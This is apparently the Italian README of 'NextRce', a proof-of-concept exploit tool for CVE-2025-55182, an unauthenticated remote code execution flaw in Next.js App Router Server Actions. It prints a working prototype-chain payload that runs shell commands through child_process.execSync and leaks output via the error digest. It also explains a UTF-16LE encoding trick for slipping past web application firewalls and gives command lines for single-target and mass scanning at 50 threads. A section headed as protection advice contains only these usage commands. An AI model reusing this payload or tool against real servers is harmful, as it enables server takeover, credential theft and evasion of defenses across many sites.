
Strumento di ricerca proof-of-concept per CVE-2025-55182, una RCE critica non autenticata in Next.js App Router causata da injection di oggetti lato server in React Server Components e Server Actions, incluse tecniche di evasione WAF UTF-16LE.
NextRce è uno strumento di ricerca sulla sicurezza che dimostra CVE-2025-55182, una vulnerabilità critica nelle applicazioni Next.js App Router che utilizzano React Server Components (RSC) e Server Actions.
Questa vulnerabilità consente a un attaccante di ottenere Esecuzione Remota di Codice (RCE) senza autenticazione abusando di come Next.js elabora le risposte delle Server Actions e risolve i payload RSC serializzati sul server.
CVE-2025-55182 esiste nell'architettura Next.js App Router e può essere classificato come un problema di iniezione di oggetti lato server / abuso della catena dei prototipi che si verifica durante la gestione delle richieste multipart/form-data.
Quando viene attivata una Server Action, il server Next.js si fida e deserializza input strutturati dal client. Inviando un payload appositamente predisposto, un attaccante può manipolare la logica di risoluzione interna ed eseguire comandi di sistema arbitrari nel runtime Node.js.
La vulnerabilità nasce dalla combinazione dei seguenti fattori:
Modello di Fiducia delle Server Actions
Le Server Actions accettano payload strutturati dal client che vengono elaborati attraverso la logica di risoluzione interna dei React Server Component con una validazione insufficiente.
Iniezione di Oggetti durante la Risoluzione RSC
I payload costruiti possono abusare delle catene di prototipi JavaScript e dei riferimenti ai costruttori, consentendo la fuga dall'ambito dell'oggetto previsto.
Sanitizzazione Insufficiente
Campi interni come then, _response e i getter dei form-data non sono adeguatamente protetti contro manipolazioni dannose.
Bypass WAF Basato sulla Codifica
Molti Web Application Firewall si concentrano su UTF-8 o JSON standard. Codificare i payload come UTF-16LE permette di bypassare l'ispezione pur venendo decodificati correttamente dal server Next.js.
L'exploit si basa sull'iniezione di un payload RSC costruito all'interno di una richiesta multipart.
Una versione semplificata del payload è mostrata di seguito:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. Hijack della Catena dei Prototipi
"then": "$1:__proto__:then"then, interferendo con il modo in cui le Promise vengono risolte durante l'elaborazione dei React Server Component nel runtime Next.js.2. Escape del Costruttore
"_formData": { "get": "$1:constructor:constructor" }Function, permettendo l'esecuzione di JavaScript arbitrario al di fuori del sandbox previsto.3. Esecuzione Remota di Codice
process.mainModule .require('child_process') .execSync('{cmd}')4. Esfiltrazione dell'Output Basata su Digest
throw Object.assign(new Error('x'), { digest: res });5. Bypass WAF (UTF-16LE)
Content-Type: text/plain; charset=utf-16leLo sfruttamento riuscito di CVE-2025-55182 può causare:
🔥 Esecuzione Remota di Codice Completa
🗄️ Accesso a dati sensibili e credenziali
🔗 Movimento laterale all'interno dell'infrastruttura
📦 Compromissione della supply chain
🚨 Presa totale del server
Gravità: Critica
Autenticazione Richiesta: No
Per proteggersi da CVE-2025-55182:
Singolo Target
python3 exploit.py -u https://target.com -c "whoami"Scansione di Massa con Bypass WAF
python3 exploit.py -l urls.txt -B -t 50Questo progetto è fornito strettamente per scopi educativi, di ricerca e di test di sicurezza autorizzati.
NON utilizzare questo strumento contro sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso di test.
L'autore non si assume alcuna responsabilità per un uso improprio.